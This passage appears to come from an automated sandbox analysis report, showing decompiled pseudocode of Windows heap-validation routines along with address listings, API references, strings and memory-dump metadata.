							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E6A919819(_t486);
							 *((intOrPtr*)(_t541 + 0x2c)) =  *((intOrPtr*)(_t541 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t553 + 0x1e8)) =  *((intOrPtr*)(_t553 + 0x1e8)) - _v52;
							_t366 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t366 - 0x7f000;
							if(_t366 >= 0x7f000) {
								_t104 = _t553 + 0x1ec;
								 *_t104 =  *(_t553 + 0x1ec) + _t366;
								__eflags =  *_t104;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t533 = _v52 + _v44;
								_v32 = _t533;
								_t533[2] =  *((intOrPtr*)(_t553 + 0x54));
								__eflags = _v24 - _v52 + _v44;
								if(_v24 == _v52 + _v44) {
									__eflags =  *(_t553 + 0x4c);
									if( *(_t553 + 0x4c) != 0) {
										_t533[1] = _t533[1] ^ _t533[0] ^  *_t533;
										 *_t533 =  *_t533 ^  *(_t553 + 0x50);
									}
								} else {
									_t449 = 0;
									_t533[3] = 0;
									_t533[1] = 0;
									_t394 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t491 = _t394;
									 *_t533 = _t394;
									__eflags =  *0x6aa08748 - 1;
									if( *0x6aa08748 >= 1) {
										__eflags = _t491 - 1;
										if(_t491 <= 1) {
											_t404 =  *[fs:0x30];
											__eflags =  *(_t404 + 0xc);
											if( *(_t404 + 0xc) == 0) {
												_push("HEAP: ");
												E6A91B150();
											} else {
												E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E6A91B150();
											_pop(_t491);
											__eflags =  *0x6aa07bc8 - _t449;
											if( *0x6aa07bc8 == _t449) {
												__eflags = 0;
												_t491 = 1;
												E6A9D2073(_t449, 1, _t541, 0);
											}
											_t533 = _v32;
										}
									}
									_t533[1] = _t449;
									__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
									if( *((intOrPtr*)(_t541 + 0x18)) != _t541) {
										_t402 = (_t533 - _t541 >> 0x10) + 1;
										_v16 = _t402;
										__eflags = _t402 - 0xfe;
										if(_t402 >= 0xfe) {
											_push(_t491);
											_push(_t449);
											E6A9DA80D( *((intOrPtr*)(_t541 + 0x18)), 3, _t533, _t541);
											_t533 = _v48;
											_t402 = _v32;
										}
										_t449 = _t402;
									}
									_t533[3] = _t449;
									E6A93A830(_t553, _t533,  *_t533 & 0x0000ffff);
									_t447 = 0x7ffe0380;
								}
							}
							_t367 = E6A937D50();
							__eflags = _t367;
							if(_t367 != 0) {
								_t370 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t370 = _t447;
							}
							__eflags =  *_t370;
							if( *_t370 != 0) {
								_t371 =  *[fs:0x30];
								__eflags =  *(_t371 + 0x240) & 1;
								if(( *(_t371 + 0x240) & 1) != 0) {
									__eflags = E6A937D50();
									if(__eflags != 0) {
										_t447 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E6A9D1411(_t447, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _v40, _v36,  *_t447 & 0x000000ff);
								}
							}
							_t372 = E6A937D50();
							_t546 = 0x7ffe038a;
							_t446 = 0x230;
							__eflags = _t372;
							if(_t372 != 0) {
								_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t246 = 0x7ffe038a;
							}
							__eflags =  *_t246;
							if( *_t246 == 0) {
								goto L7;
							} else {
								__eflags = E6A937D50();
								if(__eflags != 0) {
									_t546 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t446;
									__eflags = _t546;
								}
								_push( *_t546 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								goto L120;
							}
						}
					} else {
						L19:
						_t31 = _t513 + 0x101f; // 0x101f
						_t455 = _t31 & 0xfffff000;
						_t32 = _t513 + 0x28; // 0x28
						_v44 = _t455;
						__eflags = _t455 - _t32;
						if(_t455 == _t32) {
							_t455 = _t455 + 0x1000;
							_v44 = _t455;
						}
						_t265 = _t445 << 3;
						_v24 = _t265;
						_t266 = _t265 + _t513;
						__eflags = _v40;
						_v20 = _t266;
						if(_v40 == 0) {
							_t266 = _t266 + 0xfffffff0;
							__eflags = _t266;
						}
						_t267 = _t266 & 0xfffff000;
						_v52 = _t267;
						__eflags = _t267 - _t455;
						if(_t267 < _t455) {
							__eflags =  *0x6aa08748 - 1;
							if( *0x6aa08748 < 1) {
								L9:
								_t450 = _t553;
								L10:
								_push(_t445);
								goto L11;
							}
							__eflags = _v40;
							L146:
							if(__eflags == 0) {
								goto L9;
							}
							_t270 =  *[fs:0x30];
							__eflags =  *(_t270 + 0xc);
							if( *(_t270 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E6A91B150();
							__eflags =  *0x6aa07bc8;
							if( *0x6aa07bc8 == 0) {
								__eflags = 0;
								E6A9D2073(_t445, 1, _t541, 0);
							}
							L152:
							_t445 = _a4;
							L153:
							_t513 = _v48;
							goto L9;
						}
						_v32 = _t267;
						_t280 = _t267 - _t455;
						_v32 = _v32 - _t455;
						__eflags = _a8;
						_t460 = _v32;
						_v52 = _t460;
						if(_a8 != 0) {
							L27:
							__eflags = _t280;
							if(_t280 == 0) {
								L33:
								_t446 = 0;
								__eflags = _v40;
								if(_v40 == 0) {
									_t468 = _v44 + _v52;
									_v36 = _t468;
									_t468[2] =  *((intOrPtr*)(_t553 + 0x54));
									__eflags = _v20 - _v52 + _v44;
									if(_v20 == _v52 + _v44) {
										__eflags =  *(_t553 + 0x4c);
										if( *(_t553 + 0x4c) != 0) {
											_t468[1] = _t468[1] ^ _t468[0] ^  *_t468;
											 *_t468 =  *_t468 ^  *(_t553 + 0x50);
										}
									} else {
										_t468[3] = 0;
										_t468[1] = 0;
										_t317 = _v24 - _v52 - _v44 + _t513 >> 0x00000003 & 0x0000ffff;
										_t521 = _t317;
										 *_t468 = _t317;
										__eflags =  *0x6aa08748 - 1;
										if( *0x6aa08748 >= 1) {
											__eflags = _t521 - 1;
											if(_t521 <= 1) {
												_t327 =  *[fs:0x30];
												__eflags =  *(_t327 + 0xc);
												if( *(_t327 + 0xc) == 0) {
													_push("HEAP: ");
													E6A91B150();
												} else {
													E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
												}
												_push("(LONG)FreeEntry->Size > 1");
												E6A91B150();
												__eflags =  *0x6aa07bc8 - _t446;
												if( *0x6aa07bc8 == _t446) {
													__eflags = 1;
													E6A9D2073(_t446, 1, _t541, 1);
												}
												_t468 = _v36;
											}
										}
										_t468[1] = _t446;
										_t522 =  *((intOrPtr*)(_t541 + 0x18));
										__eflags =  *((intOrPtr*)(_t541 + 0x18)) - _t541;
										if( *((intOrPtr*)(_t541 + 0x18)) == _t541) {
											_t320 = _t446;
										} else {
											_t320 = (_t468 - _t541 >> 0x10) + 1;
											_v12 = _t320;
											__eflags = _t320 - 0xfe;
											if(_t320 >= 0xfe) {
												_push(_t468);
												_push(_t446);
												E6A9DA80D(_t522, 3, _t468, _t541);
												_t468 = _v52;
												_t320 = _v28;
											}
										}
										_t468[3] = _t320;
										E6A93A830(_t553, _t468,  *_t468 & 0x0000ffff);
									}
								}
								E6A93B73D(_t553, _t541, _v44 + 0xffffffe8, _v52, _v48,  &_v8);
								E6A93A830(_t553, _v64, _v24);
								_t286 = E6A937D50();
								_t542 = 0x7ffe0380;
								__eflags = _t286;
								if(_t286 != 0) {
									_t289 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
								} else {
									_t289 = 0x7ffe0380;
								}
								__eflags =  *_t289;
								if( *_t289 != 0) {
									_t290 =  *[fs:0x30];
									__eflags =  *(_t290 + 0x240) & 1;
									if(( *(_t290 + 0x240) & 1) != 0) {
										__eflags = E6A937D50();
										if(__eflags != 0) {
											_t542 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
											__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										}
										E6A9D1411(_t446, _t553, _v44, __eflags, _v52,  *(_t553 + 0x74) << 3, _t446, _t446,  *_t542 & 0x000000ff);
									}
								}
								_t291 = E6A937D50();
								_t543 = 0x7ffe038a;
								__eflags = _t291;
								if(_t291 != 0) {
									_t246 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
								} else {
									_t246 = 0x7ffe038a;
								}
								__eflags =  *_t246;
								if( *_t246 != 0) {
									__eflags = E6A937D50();
									if(__eflags != 0) {
										_t543 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
										__eflags = _t543;
									}
									_push( *_t543 & 0x000000ff);
									_push(_t446);
									_push(_t446);
									L120:
									_push( *(_t553 + 0x74) << 3);
									_push(_v52);
									_t246 = E6A9D1411(_t446, _t553, _v44, __eflags);
								}
								goto L7;
							}
							 *((intOrPtr*)(_t553 + 0x200)) =  *((intOrPtr*)(_t553 + 0x200)) + 1;
							_t339 = E6A94174B( &_v44,  &_v52, 0x4000);
							__eflags = _t339;
							if(_t339 < 0) {
								L94:
								 *((intOrPtr*)(_t553 + 0x210)) =  *((intOrPtr*)(_t553 + 0x210)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									goto L153;
								}
								E6A93B73D(_t553, _t541, _v28 + 0xffffffe8, _v36, _v48,  &_a4);
								goto L152;
							}
							_t344 = E6A937D50();
							__eflags = _t344;
							if(_t344 != 0) {
								_t347 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t347 = 0x7ffe0380;
							}
							__eflags =  *_t347;
							if( *_t347 != 0) {
								_t348 =  *[fs:0x30];
								__eflags =  *(_t348 + 0x240) & 1;
								if(( *(_t348 + 0x240) & 1) != 0) {
									E6A9D14FB(_t553, _v44, _v52, 6);
								}
							}
							_t513 = _v48;
							goto L33;
						}
						__eflags =  *_v12 - 3;
						_t513 = _v48;
						if( *_v12 == 3) {
							goto L27;
						}
						__eflags = _t460;
						if(_t460 == 0) {
							goto L9;
						}
						__eflags = _t460 -  *((intOrPtr*)(_t553 + 0x6c));
						if(_t460 <  *((intOrPtr*)(_t553 + 0x6c))) {
							goto L9;
						}
						goto L27;
					}
				}
				_t445 = _a4;
				if(_t445 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t513 = __edx;
					goto L10;
				}
				_t433 =  *((intOrPtr*)(__ecx + 0x74)) + _t445;
				_v20 = _t433;
				if(_t433 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1e8) >>  *((intOrPtr*)(__ecx + 0x240)) + 3) {
					_t513 = _t539;
					goto L9;
				} else {
					_t437 = E6A9399BF(__ecx, __edx,  &_a4, 0);
					_t445 = _a4;
					_t514 = _t437;
					_v56 = _t514;
					if(_t445 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						E6A93A830(__ecx, _t514, _t445);
						_t506 =  *(_t553 + 0x238);
						_t551 =  *((intOrPtr*)(_t553 + 0x1e8)) - ( *(_t553 + 0x74) << 3);
						_t246 = _t506 >> 4;
						if(_t551 < _t506 - _t246) {
							_t508 =  *(_t553 + 0x23c);
							_t246 = _t508 >> 2;
							__eflags = _t551 - _t508 - _t246;
							if(_t551 > _t508 - _t246) {
								_t246 = E6A94ABD8(_t553);
								 *(_t553 + 0x23c) = _t551;
								 *(_t553 + 0x238) = _t551;
							}
						}
						goto L7;
					}
				}
			}

0x6a93a309
0x6a93a316
0x6a93a319
0x6a93a31d
0x6a93a32d
0x6a93a331
0x6a981e0d
0x6a981e10
0x6a93a3cb
0x6a93a3cb
0x6a93a3bd
0x6a93a3c3
0x6a93a3c3
0x6a93a33a
0x6a981e17
0x6a981e1b
0x6a981e1d
0x6a981e2f
0x6a981e34
0x6a981e36
0x6a981e3c
0x6a981e3c
0x6a981e3c
0x6a981e3c
0x6a981e36
0x6a981e42
0x6a981e45
0x6a981e47
0x6a93a3f8
0x6a93a3f8
0x6a93a3fb
0x6a93a3fd
0x6a981e50
0x6a93a403
0x6a93a411
0x6a93a411
0x6a93a411
0x6a93a41e
0x6a93a420
0x6a93a424
0x6a93a427
0x6a93a7c9
0x6a93a7cd
0x6a93a7d2
0x6a93a7d9
0x6a93a7e0
0x6a93a7e3
0x6a93a7ed
0x6a93a7f3
0x6a93a7f9
0x6a93a7ff
0x6a93a802
0x6a93a807
0x6a93a809
0x6a93a809
0x6a93a809
0x6a93a80f
0x6a93a80f
0x6a93a812
0x6a93a81c
0x6a93a821
0x6a93a824
0x6a93a42d
0x6a93a42d
0x6a93a42d
0x6a93a42d
0x6a93a42d
0x6a93a436
0x6a93a43a
0x6a93a609
0x6a93a60d
0x6a93a612
0x6a93a616
0x6a93a61a
0x6a981e57
0x6a981e59
0x00000000
0x00000000
0x6a981e5f
0x6a93a620
0x6a93a627
0x6a981e64
0x6a981e66
0x6a981e6c
0x6a981e72
0x6a981e76
0x6a981e95
0x6a981e9a
0x6a981e78
0x6a981e8d
0x6a981e92
0x6a981ea0
0x6a981ea5
0x6a981eaa
0x6a981eb2
0x6a981eb6
0x6a981eb9
0x6a981eb9
0x6a981ebe
0x6a981ec2
0x6a981ec2
0x6a981e66
0x6a93a62d
0x6a93a633
0x6a93a636
0x6a93a63a
0x6a93a63c
0x6a93a640
0x6a93a642
0x6a93a644
0x6a93a644
0x6a93a644
0x6a93a64d
0x6a93a64d
0x6a93a651
0x6a93a655
0x6a981eca
0x6a981ed1
0x00000000
0x00000000
0x6a981ed7
0x00000000
0x6a93a65b
0x6a93a669
0x6a93a66e
0x6a93a670
0x00000000
0x00000000
0x6a93a676
0x6a93a67b
0x6a93a680
0x6a93a682
0x6a981f1a
0x6a93a688
0x6a93a688
0x6a93a688
0x6a93a68a
0x6a93a68d
0x6a981f24
0x6a981f2a
0x6a981f31
0x6a981f43
0x6a981f43
0x6a981f31
0x6a93a693
0x6a93a697
0x6a93a69d
0x6a93a6a0
0x6a93a6a6
0x6a93a6a8
0x6a93a6a8
0x6a93a6a8
0x6a93a6a8
0x6a93a6b2
0x6a93a6b7
0x6a93a6c1
0x6a93a6c6
0x6a93a6d2
0x6a93a6d9
0x6a93a6e3
0x6a93a6e6
0x6a93a6eb
0x6a93a6ed
0x6a93a6ed
0x6a93a6ed
0x6a93a6ed
0x6a93a6f3
0x6a93a6f8
0x6a93a702
0x6a93a70a
0x6a93a70e
0x6a93a71a
0x6a93a71e
0x6a981fcb
0x6a981fcf
0x6a981fdd
0x6a981fe3
0x6a981fe3
0x6a93a724
0x6a93a728
0x6a93a72a
0x6a93a72d
0x6a93a737
0x6a93a73a
0x6a93a73c
0x6a93a742
0x6a93a748
0x6a981f4d
0x6a981f50
0x6a981f56
0x6a981f5c
0x6a981f5f
0x6a981f7e
0x6a981f83
0x6a981f61
0x6a981f76
0x6a981f7b
0x6a981f89
0x6a981f8e
0x6a981f93
0x6a981f94
0x6a981f9a
0x6a981f9c
0x6a981f9e
0x6a981fa1
0x6a981fa1
0x6a981fa6
0x6a981fa6
0x6a981f50
0x6a93a74e
0x6a93a751
0x6a93a754
0x6a93a75d
0x6a93a75e
0x6a93a762
0x6a93a767
0x6a981faf
0x6a981fb0
0x6a981fb9
0x6a981fbe
0x6a981fc2
0x6a981fc2
0x6a93a76d
0x6a93a76d
0x6a93a775
0x6a93a778
0x6a93a77d
0x6a93a77d
0x6a93a71e
0x6a93a782
0x6a93a787
0x6a93a789
0x6a981ff3
0x6a93a78f
0x6a93a78f
0x6a93a78f
0x6a93a791
0x6a93a794
0x6a981ffd
0x6a982006
0x6a98200c
0x6a982017
0x6a982019
0x6a982024
0x6a982024
0x6a982024
0x6a982047
0x6a982047
0x6a98200c
0x6a93a79a
0x6a93a79f
0x6a93a7a4
0x6a93a7a9
0x6a93a7ab
0x6a98205a
0x6a93a7b1
0x6a93a7b1
0x6a93a7b1
0x6a93a7b3
0x6a93a7b6
0x00000000
0x6a93a7bc
0x6a982066
0x6a982068
0x6a982073
0x6a982073
0x6a982073
0x6a982078
0x6a982079
0x6a98207d
0x00000000
0x6a98207d
0x6a93a7b6
0x6a93a440
0x6a93a440
0x6a93a440
0x6a93a446
0x6a93a44c
0x6a93a44f
0x6a93a453
0x6a93a455
0x6a9820b3
0x6a9820b9
0x6a9820b9
0x6a93a45d
0x6a93a460
0x6a93a464
0x6a93a466
0x6a93a46b
0x6a93a46f
0x6a93a471
0x6a93a471
0x6a93a471
0x6a93a474
0x6a93a479
0x6a93a47d
0x6a93a47f
0x6a982229
0x6a98222f
0x6a93a3c8
0x6a93a3c8
0x6a93a3ca
0x6a93a3ca
0x00000000
0x6a93a3ca
0x6a982235
0x6a98223a
0x6a98223a
0x00000000
0x00000000
0x6a982240
0x6a982246
0x6a98224a
0x6a982269
0x6a98226e
0x6a98224c
0x6a982261
0x6a982266
0x6a982274
0x6a982279
0x6a98227e
0x6a982286
0x6a982288
0x6a98228d
0x6a98228d
0x6a982292
0x6a982292
0x6a982295
0x6a982295
0x00000000
0x6a982295
0x6a93a485
0x6a93a489
0x6a93a48b
0x6a93a48f
0x6a93a493
0x6a93a497
0x6a93a49b
0x6a93a4bb
0x6a93a4bb
0x6a93a4bd
0x6a93a4ff
0x6a93a4ff
0x6a93a501
0x6a93a505
0x6a93a50f
0x6a93a517
0x6a93a51b
0x6a93a527
0x6a93a52b
0x6a982182
0x6a982185
0x6a982193
0x6a982199
0x6a982199
0x6a93a531
0x6a93a535
0x6a93a538
0x6a93a548
0x6a93a54b
0x6a93a54d
0x6a93a553
0x6a93a559
0x6a982100
0x6a982103
0x6a982109
0x6a98210f
0x6a982112
0x6a982131
0x6a982136
0x6a982114
0x6a982129
0x6a98212e
0x6a98213c
0x6a982141
0x6a982147
0x6a98214d
0x6a982151
0x6a982154
0x6a982154
0x6a982159
0x6a982159
0x6a982103
0x6a93a55f
0x6a93a562
0x6a93a565
0x6a93a567
0x6a982162
0x6a93a56d
0x6a93a574
0x6a93a575
0x6a93a579
0x6a93a57e
0x6a982169
0x6a98216a
0x6a982170
0x6a982175
0x6a982179
0x6a982179
0x6a93a57e
0x6a93a584
0x6a93a58f
0x6a93a58f
0x6a93a52b
0x6a93a5ad
0x6a93a5bc
0x6a93a5c1
0x6a93a5c6
0x6a93a5cb
0x6a93a5cd
0x6a9821a9
0x6a93a5d3
0x6a93a5d3
0x6a93a5d3
0x6a93a5d5
0x6a93a5d8
0x6a9821b3
0x6a9821bc
0x6a9821c2
0x6a9821cd
0x6a9821cf
0x6a9821da
0x6a9821da
0x6a9821da
0x6a9821f7
0x6a9821f7
0x6a9821c2
0x6a93a5de
0x6a93a5e3
0x6a93a5e8
0x6a93a5ea
0x6a98220a
0x6a93a5f0
0x6a93a5f0
0x6a93a5f0
0x6a93a5f2
0x6a93a5f5
0x6a982219
0x6a98221b
0x6a98208c
0x6a98208c
0x6a98208c
0x6a982095
0x6a982096
0x6a982097
0x6a982098
0x6a9820a4
0x6a9820a5
0x6a9820a9
0x6a9820a9
0x00000000
0x6a93a5f5
0x6a93a4bf
0x6a93a4d3
0x6a93a4d8
0x6a93a4da
0x6a981ede
0x6a981ede
0x6a981ee4
0x6a981ee9
0x00000000
0x00000000
0x6a981f07
0x00000000
0x6a981f07
0x6a93a4e0
0x6a93a4e5
0x6a93a4e7
0x6a9820cb
0x6a93a4ed
0x6a93a4ed
0x6a93a4ed
0x6a93a4f2
0x6a93a4f5
0x6a9820d5
0x6a9820de
0x6a9820e4
0x6a9820f6
0x6a9820f6
0x6a9820e4
0x6a93a4fb
0x00000000
0x6a93a4fb
0x6a93a4a1
0x6a93a4a4
0x6a93a4a8
0x00000000
0x00000000
0x6a93a4aa
0x6a93a4ac
0x00000000
0x00000000
0x6a93a4b2
0x6a93a4b5
0x00000000
0x00000000
0x00000000
0x6a93a4b5
0x6a93a43a
0x6a93a340
0x6a93a346
0x6a93a600
0x00000000
0x6a93a600
0x6a93a34f
0x6a93a351
0x6a93a358
0x6a93a3c6
0x00000000
0x6a93a371
0x6a93a37a
0x6a93a37f
0x6a93a382
0x6a93a384
0x6a93a394
0x00000000
0x6a93a396
0x6a93a399
0x6a93a3a7
0x6a93a3b0
0x6a93a3b4
0x6a93a3bb
0x6a93a3d2
0x6a93a3da
0x6a93a3df
0x6a93a3e1
0x6a93a3e5
0x6a93a3ea
0x6a93a3f0
0x6a93a3f0
0x6a93a3e1
0x00000000
0x6a93a3bb
0x6a93a394

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00004000), ref: 6A93A4E0
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6A93A5C1
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6A93A5DE
RtlGetCurrentServiceSessionId.1105(?,00004000), ref: 6A93A676
RtlGetCurrentServiceSessionId.1105 ref: 6A93A782
RtlGetCurrentServiceSessionId.1105 ref: 6A93A79A
RtlGetCurrentServiceSessionId.1105 ref: 6A982012
RtlGetCurrentServiceSessionId.1105 ref: 6A982061
RtlGetCurrentServiceSessionId.1105(?,-000000E8,?,?,?), ref: 6A982214

Strings

(!TrailingUCR), xrefs: 6A982274
((LONG)FreeEntry->Size > 1), xrefs: 6A981F89
(LONG)FreeEntry->Size > 1, xrefs: 6A98213C
HEAP: , xrefs: 6A981E95, 6A981F7E, 6A982131, 6A982269
HEAP[%wZ]: , xrefs: 6A981E88, 6A981F71, 6A982124, 6A98225C
(UCRBlock != NULL), xrefs: 6A981EA0

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 1007659313-523794902
Opcode ID: a8fa0f0d258707d418e15259090c4e495b60df0e14a6ea7298f09c532110be31
Instruction ID: b0aba9ec1eb8f2dbac09e4d299eb96fed4e6c1637682569c06709cabf9e08876
Opcode Fuzzy Hash: a8fa0f0d258707d418e15259090c4e495b60df0e14a6ea7298f09c532110be31
Instruction Fuzzy Hash: DD42CE706087419FCB15CF28C488A2ABBF9FF89308F25496DE4A58B752DF35D981CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6A9D4AEF, Relevance: 47.8, APIs: 18, Strings: 9, Instructions: 529
COMMONCrypto

Download Yara Rule

C-Code - Quality: 59%

			E6A9D4AEF(signed int __ecx, signed int __edx, intOrPtr* _a8, signed int* _a12, signed int* _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v6;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t189;
				intOrPtr _t191;
				intOrPtr _t210;
				signed int _t225;
				signed char _t231;
				intOrPtr _t232;
				unsigned int _t245;
				intOrPtr _t249;
				intOrPtr _t259;
				signed int _t281;
				signed int _t283;
				intOrPtr _t284;
				signed int _t288;
				signed int* _t294;
				signed int* _t298;
				intOrPtr* _t299;
				intOrPtr* _t300;
				signed int _t307;
				signed int _t309;
				signed short _t312;
				signed short _t315;
				signed int _t317;
				signed int _t320;
				signed int _t322;
				signed int _t326;
				signed int _t327;
				void* _t328;
				signed int _t332;
				signed int _t340;
				signed int _t342;
				signed char _t344;
				signed int* _t345;
				signed int _t346;
				signed char _t352;
				signed char _t367;
				signed int _t374;
				intOrPtr* _t378;
				signed int _t380;
				signed int _t385;
				signed char _t390;
				unsigned int _t392;
				signed char _t395;
				unsigned int _t397;
				intOrPtr* _t400;
				signed int _t402;
				signed int _t405;
				intOrPtr* _t406;
				signed int _t407;
				intOrPtr _t412;
				signed int _t414;
				signed int _t415;
				signed int _t416;
				signed int _t429;

				_v16 = _v16 & 0x00000000;
				_t189 = 0;
				_v8 = _v8 & 0;
				_t332 = __edx;
				_v12 = 0;
				_t414 = __ecx;
				_t415 = __edx;
				if(__edx >=  *((intOrPtr*)(__edx + 0x28))) {
					L88:
					_t416 = _v16;
					if( *((intOrPtr*)(_t332 + 0x2c)) == _t416) {
						__eflags =  *((intOrPtr*)(_t332 + 0x30)) - _t189;
						if( *((intOrPtr*)(_t332 + 0x30)) == _t189) {
							L107:
							return 1;
						}
						_t191 =  *[fs:0x30];
						__eflags =  *(_t191 + 0xc);
						if( *(_t191 + 0xc) == 0) {
							_push("HEAP: ");
							E6A91B150();
						} else {
							E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v12);
						_push( *((intOrPtr*)(_t332 + 0x30)));
						_push(_t332);
						_push("Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)\n");
						L122:
						E6A91B150();
						L119:
						return 0;
					}
					if( *((intOrPtr*)( *[fs:0x30] + 0xc)) == 0) {
						_push("HEAP: ");
						E6A91B150();
					} else {
						E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
					}
					_push(_t416);
					_push( *((intOrPtr*)(_t332 + 0x2c)));
					_push(_t332);
					_push("Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)\n");
					goto L122;
				} else {
					goto L1;
				}
				do {
					L1:
					 *_a16 = _t415;
					if( *(_t414 + 0x4c) != 0) {
						_t392 =  *(_t414 + 0x50) ^  *_t415;
						 *_t415 = _t392;
						_t352 = _t392 >> 0x00000010 ^ _t392 >> 0x00000008 ^ _t392;
						_t424 = _t392 >> 0x18 - _t352;
						if(_t392 >> 0x18 != _t352) {
							_push(_t352);
							E6A9CFA2B(_t332, _t414, _t415, _t414, _t415, _t424);
						}
					}
					if(_v8 != ( *(_t415 + 4) ^  *(_t414 + 0x54))) {
						_t210 =  *[fs:0x30];
						__eflags =  *(_t210 + 0xc);
						if( *(_t210 + 0xc) == 0) {
							_push("HEAP: ");
							E6A91B150();
						} else {
							E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
						}
						_push(_v8 & 0x0000ffff);
						_t340 =  *(_t415 + 4) & 0x0000ffff ^  *(_t414 + 0x54) & 0x0000ffff;
						__eflags = _t340;
						_push(_t340);
						E6A91B150("Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)\n", _t415);
						L117:
						__eflags =  *(_t414 + 0x4c);
						if( *(_t414 + 0x4c) != 0) {
							 *(_t415 + 3) =  *(_t415 + 2) ^  *(_t415 + 1) ^  *_t415;
							 *_t415 =  *_t415 ^  *(_t414 + 0x50);
							__eflags =  *_t415;
						}
						goto L119;
					}
					_t225 =  *_t415 & 0x0000ffff;
					_t390 =  *(_t415 + 2);
					_t342 = _t225;
					_v8 = _t342;
					_v20 = _t342;
					_v28 = _t225 << 3;
					if((_t390 & 0x00000001) == 0) {
						__eflags =  *(_t414 + 0x40) & 0x00000040;
						_t344 = (_t342 & 0xffffff00 | ( *(_t414 + 0x40) & 0x00000040) != 0x00000000) & _t390 >> 0x00000002;
						__eflags = _t344 & 0x00000001;
						if((_t344 & 0x00000001) == 0) {
							L66:
							_t345 = _a12;
							 *_a8 =  *_a8 + 1;
							 *_t345 =  *_t345 + ( *_t415 & 0x0000ffff);
							__eflags =  *_t345;
							L67:
							_t231 =  *(_t415 + 6);
							if(_t231 == 0) {
								_t346 = _t414;
							} else {
								_t346 = (_t415 & 0xffff0000) - ((_t231 & 0x000000ff) << 0x10) + 0x10000;
							}
							if(_t346 != _t332) {
								_t232 =  *[fs:0x30];
								__eflags =  *(_t232 + 0xc);
								if( *(_t232 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push( *(_t415 + 6) & 0x000000ff);
								_push(_t415);
								_push("Heap block at %p has incorrect segment offset (%x)\n");
								goto L95;
							} else {
								if( *((char*)(_t415 + 7)) != 3) {
									__eflags =  *(_t414 + 0x4c);
									if( *(_t414 + 0x4c) != 0) {
										 *(_t415 + 3) =  *(_t415 + 1) ^  *_t415 ^  *(_t415 + 2);
										 *_t415 =  *_t415 ^  *(_t414 + 0x50);
										__eflags =  *_t415;
									}
									_t415 = _t415 + _v28;
									__eflags = _t415;
									goto L86;
								}
								_t245 =  *(_t415 + 0x1c);
								if(_t245 == 0) {
									_t395 =  *_t415 & 0x0000ffff;
									_v6 = _t395 >> 8;
									__eflags = _t415 + _t395 * 8 -  *((intOrPtr*)(_t332 + 0x28));
									if(_t415 + _t395 * 8 ==  *((intOrPtr*)(_t332 + 0x28))) {
										__eflags =  *(_t414 + 0x4c);
